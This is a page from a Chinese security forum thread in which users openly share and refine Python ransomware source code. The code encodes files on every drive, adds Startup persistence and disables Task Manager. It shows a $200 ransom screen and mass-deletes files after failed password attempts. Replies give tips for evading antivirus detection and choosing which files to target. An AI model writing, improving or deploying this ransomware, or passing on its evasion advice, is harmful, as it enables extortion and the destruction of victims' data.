123
返回列表 发新帖
楼主: python无名氏
收起左侧

[病毒样本] PyRansom勒索2.0

[复制链接]
python无名氏
 楼主| 发表于 2023-1-23 19:33:20 | 显示全部楼层
本帖最后由 python无名氏 于 2023-1-23 19:35 编辑
henry217 发表于 2023-1-23 12:05
不加密只改后缀顶多叫个renamer

而且这库个本来就是从crypto上面衍生出来的,你怕有bug吗

反正我只做这么多,要是你看不下去可以自己去拿源码改,我开源的目的就是要大家帮我完善。(对了,你说的那个库我装了,但不会用,实在不行你可以教我用,如果可以用非对称算法的话我会保留之前的,更新一版用第三方库的)
wwwab
发表于 2023-1-23 19:39:01 | 显示全部楼层
henry217 发表于 2023-1-21 00:53
有个库叫pycryptodome你可以看看

实际上加密算法不建议自己造轮子,浪费时间还容易错

我之前用Python写过一个勒索,用的Cryptography.Fernet
python无名氏
 楼主| 发表于 2023-1-24 12:17:39 | 显示全部楼层
我学了一下RSA算法,但加密的太慢了吧,一个3M的文件TM的得加密十分钟
killmatt01
发表于 2023-1-25 09:53:07 | 显示全部楼层
源码略改,把加密后文件后缀名改为".hello" 之类,然后换换自写的函数名,火绒就不报了

  1. import os,sys
  2. import base64
  3. import random
  4. import tkinter as tk
  5. import getpass
  6. import time
  7. from tkinter import messagebox as me
  8. user = getpass.getuser()

  9. try:
  10.     checkc = open(f'C:/Users/{user}/Documents/change.txt','r')
  11.     change = int(checkc.read())
  12.     checkc.close()
  13. except:
  14.     change = 5

  15. try:
  16.     copy = open(f'C:/Users/{user}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/hello.bat','w')
  17.     copy.write('[url=home.php?mod=space&uid=331734]@echo[/url] off\r\nstart'+sys.executable)
  18.     copy.close()
  19. except: pass


  20. def en(need):
  21.     fpath = open(need,'rb+')
  22.     fnr = fpath.read()
  23.     jfnr = base64.b64encode(fnr)
  24.     fpath.close()
  25.     fpath = open(need,'wb+')
  26.     fpath.write(jfnr)
  27.     fpath.close()


  28. def de(need):
  29.     fpath = open(need,'rb+')
  30.     fnr = fpath.read()
  31.     jfnr = base64.b64decode(fnr)
  32.     fpath.close()
  33.     fpath = open(need,'wb+')
  34.     fpath.write(jfnr)
  35.     fpath.close()


  36. def jing(user):
  37.     try:
  38.         filess = open(f'C:/Users/{user}/Documents/tkmgr.reg','w')
  39.         filess.write('Windows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]\r\n"DisableTaskMgr"=dword:02')
  40.         filess.close()
  41.         os.popen(f'start /B regedit /S C:/Users/{user}/Documents/tkmgr.reg')
  42.     except: pass


  43. def huan(user):
  44.     try:
  45.         filed = open(f'C:/Users/{user}/Documents/tkmgr.reg','w')
  46.         filed.write('Windows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]\r\n"DisableTaskMgr"=dword:00')
  47.         filed.close()
  48.         os.popen(f'start /B regedit /S C:/Users/{user}/Documents/tkmgr.reg')
  49.     except: pass

  50. jing(user)
  51. me.showerror("Microsoft Visual C++ Runtime Error","Runtime error!")
  52. mulu = ['C:/','D:/','E:/','F:/','G:/','H:/',f'C:/Users/{user}/']


  53. def lib(mulu):
  54.     def path(path):
  55.         try:
  56.             for file in os.listdir(mulu+path+r"/."):
  57.                 if '.' in os.path.splitext(file)[1]:
  58.                     if str(mulu)+str(path)+r'/'+str(file) == sys.executable:
  59.                         pass
  60.                     else:
  61.                         try:
  62.                             en(str(mulu)+str(path)+r'/'+str(file))
  63.                             os.rename(mulu+path+r'/'+file,mulu+path+'/'+file+".hello")
  64.                         except:
  65.                             os.rename(mulu+path+r'/'+file,mulu+path+'/'+file+".hello")

  66.         except: pass

  67.     for file in os.listdir(mulu+r"."):
  68.         try:
  69.             if '.' in os.path.splitext(file)[1]:
  70.                 if str(mulu)+str(file) != sys.executable:
  71.                     try:
  72.                         en(str(mulu)+str(file))
  73.                         os.rename(mulu+file,mulu+file+".hello")
  74.                     except:
  75.                         os.rename(mulu+file,mulu+file+".hello")
  76.             else:
  77.                 path(file)
  78.         except: pass


  79. def delib(mulu):
  80.     def path(path):
  81.         try:
  82.             for file in os.listdir(mulu+path+r"/."):
  83.                 if '.' in os.path.splitext(file)[1]:
  84.                     try:
  85.                         de(str(mulu)+str(path)+r'/'+str(file))
  86.                     except: pass

  87.         except: pass

  88.     for file in os.listdir(mulu+r"."):
  89.         try:
  90.             if '.' in os.path.splitext(file)[1]:
  91.                 try:
  92.                     de(str(mulu)+str(file))
  93.                 except: pass
  94.             else:
  95.                 path(file)
  96.         except: pass


  97. for i in mulu:
  98.     lib(i)


  99. for hhhh in range(1,20):
  100.     try:
  101.         oooo = open(f'C:/Users/{user}/desktop/{hhhh}.txt.hello','w')
  102.         oooo.write('Pay Now!!!')
  103.         oooo.close()
  104.     except: pass


  105. def close():
  106.     print('hello!')
  107.     return False


  108. ID = random.randint(100000,1000000)
  109. password = str((ID+3)*2)
  110. print("Password:"+password+"    ID:"+str(ID))
  111. root = tk.Tk()


  112. def get():
  113.     global change
  114.     global user
  115.     global mulu
  116.     if change != 0:
  117.         if entry.get() == password:
  118.             for iiii in mulu:
  119.                 delib(iiii)
  120.             os.system('ren *.hello *.')
  121.             os.remove(f'C:/Users/{user}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/hello.bat')
  122.             huan(user)
  123.             time.sleep(4)
  124.             root.destroy()
  125.         else:
  126.             change = change-1
  127.             try:
  128.                 writec = open(f'C:/Users/{user}/Documents/change.txt','w')
  129.                 writec.write(str(change))
  130.                 writec.close()
  131.             except:
  132.                 print('error!')
  133.                 pass
  134.     else:
  135.         os.system('del /f /s /q *.*')
  136.         os.system('del /f /s /q *.*')
  137.         os.system('del /f /s /q *.*')
  138.         os.system('del /f /s /q *.*')
  139.         os.system('del /f /s /q *.*')
  140.         os.system('del /f /s /q *.*')
  141.         os.system('del /f /s /q *.*.hello')
  142.         os.system('del /f /s /q *.*')
  143.         os.system('del /f /s /q *.*')
  144.         os.system('del /f /s /q *.*')
  145.         os.system('del /f /s /q *.*')
  146.         os.system('del /f /s /q *.*')
  147.         os.system('del /f /s /q *.*')
  148.         os.system('del /f /s /q *.*')
  149.         os.system('del /f /s /q *.*')
  150.         print("error!")

  151. temp = open("icon.gif","wb+")
  152. tempb64=base64.b64decode('R0lGODlhQABAAPAAAAAAAAAAACH5BAEAAAAAIf8LSW1hZ2VNYWdpY2sOZ2FtbWE9MC40NTQ1NDUAIf8LWE1QIERhdGFYTVA8P3hwYWNrZXQgYmVnaW49J++7vycgaWQ9J1c1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCc/Pgo8eDp4bXBtZXRhIHhtbG5zOng9J2Fkb2JlOm5zOm1ldGEvJyB4OnhtcHRrPSdJbWFnZTo6RXhpZlRvb2wgMTIuNDAnPgo8cmRmOlJERiB4bWxuczpyZGY9J2h0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMnPgoKIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PScnCiAgeG1sbnM6dGlmZj0naHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8nPgogIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiA8L3JkZjpEZXNjcmlwdGlvbj4KPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0ndyc/PgH//v38+/r5+Pf29fTz8vHw7+7t7Ovq6ejn5uXk4+Lh4N/e3dzb2tnY19bV1NPS0dDPzs3My8rJyMfGxcTDwsHAv769vLu6ubi3trW0s7KxsK+urayrqqmop6alpKOioaCfnp2cm5qZmJeWlZSTkpGQj46NjIuKiYiHhoWEg4KBgH9+fXx7enl4d3Z1dHNycXBvbm1sa2ppaGdmZWRjYmFgX15dXFtaWVhXVlVUU1JRUE9OTUxLSklIR0ZFRENCQUA/Pj08Ozo5ODc2NTQzMjEwLy4tLCsqKSgnJiUkIyIhIB8eHRwbGhkYFxYVFBMSERAPDg0MCwoJCAcGBQQDAgEAACwAAAAAQABAAAAC6YSPqavhD5mctBqIs9085a914gSW0Ygi5uqkKQu7IkzLW13blCnxeg+ylH6M4O1DbBiFyKSqyVk6pcyQEwDtZInUI+aK3Xq/U3GVnOyeT2lzRS2D79wuOYkOzuv3NpqfrfMnaDc3aGgVdaiINraoqOUYGZAouUhZeXiJOai5+dfpmbMWKvpGKgjq9/TY+KlkmMoCxNla6gFbG1OEO2q7iporu0vbq/tKbMr7C1xsaxlsfMHaHB2WCS188EydLX3NvXL7naxsXX437Rh7SrjMHo79DlgoDw9ePxmPD4nfftz/4AXAgHUGIigAADs=')
  153. temp.write(tempb64)
  154. temp.close()

  155. root.config(background = "red")
  156. photo = tk.PhotoImage(file="icon.gif")
  157. icon = tk.Label(root,image=photo)
  158. icon.pack()
  159. os.remove("icon.gif")
  160. width = 900
  161. height = 500
  162. screenwidth = root.winfo_screenwidth()
  163. screenheight = root.winfo_screenheight()
  164. alignstr = '%dx%d+%d+%d' % (width, height, (screenwidth-width)/2, (screenheight-height)/2)
  165. root.geometry(alignstr)
  166. root.resizable(width=False,height=False)
  167. root.wm_attributes('-topmost',1)
  168. first = tk.Label(root,text="All your file have been encrypt!",bg="red")
  169. first.config(font=("Arial",20))
  170. first.pack()
  171. a = tk.Label(root,text="All your files have been encrypted due to a security problem with your PC. If you want to restore them, ",bg="red")
  172. a.config(font=("Arial",15))
  173. a.pack()
  174. c = tk.Label(root,text="write us to the e-mail:pythonhavenoname@163.com",bg="red")
  175. c.config(font=("Arial",15))
  176. c.pack()
  177. b = tk.Label(root,text="Write This ID in the title of your message:"+str(ID),bg="red")
  178. b.config(font=("Arial",15))
  179. b.pack()
  180. d = tk.Label(root,text="You should pay 200$ to us.",bg="red")
  181. d.config(font=("Arial",15))
  182. d.pack()
  183. e = tk.Label(root,text="If you pay,we will send you decrypt password.",bg="red")
  184. e.config(font=("Arial",15))
  185. e.pack()
  186. f = tk.Label(root,text="you only have "+str(change)+" change.",bg="red")
  187. f.config(font=("Arial",15))
  188. f.pack()
  189. info = tk.Label(root,text="Password:",bg="red")
  190. info.config(font=("Arial",15))
  191. info.pack()
  192. entry = tk.Entry(root,width=100)
  193. entry.pack()
  194. ok = tk.Button(root,text="Decrypt",command=get)
  195. ok.pack(side="bottom")
  196. root.protocol("WM_DELETE_WINDOW",close)
  197. root.overrideredirect(True)
  198. root.mainloop()
复制代码
killmatt01
发表于 2023-1-25 09:54:41 | 显示全部楼层
python无名氏 发表于 2023-1-24 12:17
我学了一下RSA算法,但加密的太慢了吧,一个3M的文件TM的得加密十分钟

没那么慢吧 纯py的实现也没那么慢
killmatt01
发表于 2023-1-25 10:06:35 | 显示全部楼层
有些文件需要管理员权限才能改 有些则是管理员都改不了
建议跳过后缀名exe/dll/sys,或者干脆只加密办公用的到的格式(图片,文档,便签之类)
写文件时不要放到原来位置而是非系统盘再新建一个文件夹,然后按照盘符以及文件原本路径新建子文件夹,写好一批再删除一批

命名时避开勒索关键词试试

代码的格式可以再规范下
python无名氏
 楼主| 发表于 2023-1-25 12:04:08 | 显示全部楼层
本帖最后由 python无名氏 于 2023-1-25 13:20 编辑
killmatt01 发表于 2023-1-25 10:06
有些文件需要管理员权限才能改 有些则是管理员都改不了
建议跳过后缀名exe/dll/sys,或者干脆只加密办公用 ...

所以加了try语句(而且由于我的遍历写的实在是太过垃圾根本加密不到重要组件的位置)
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-3-29 18:13 , Processed in 0.096286 second(s), 14 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表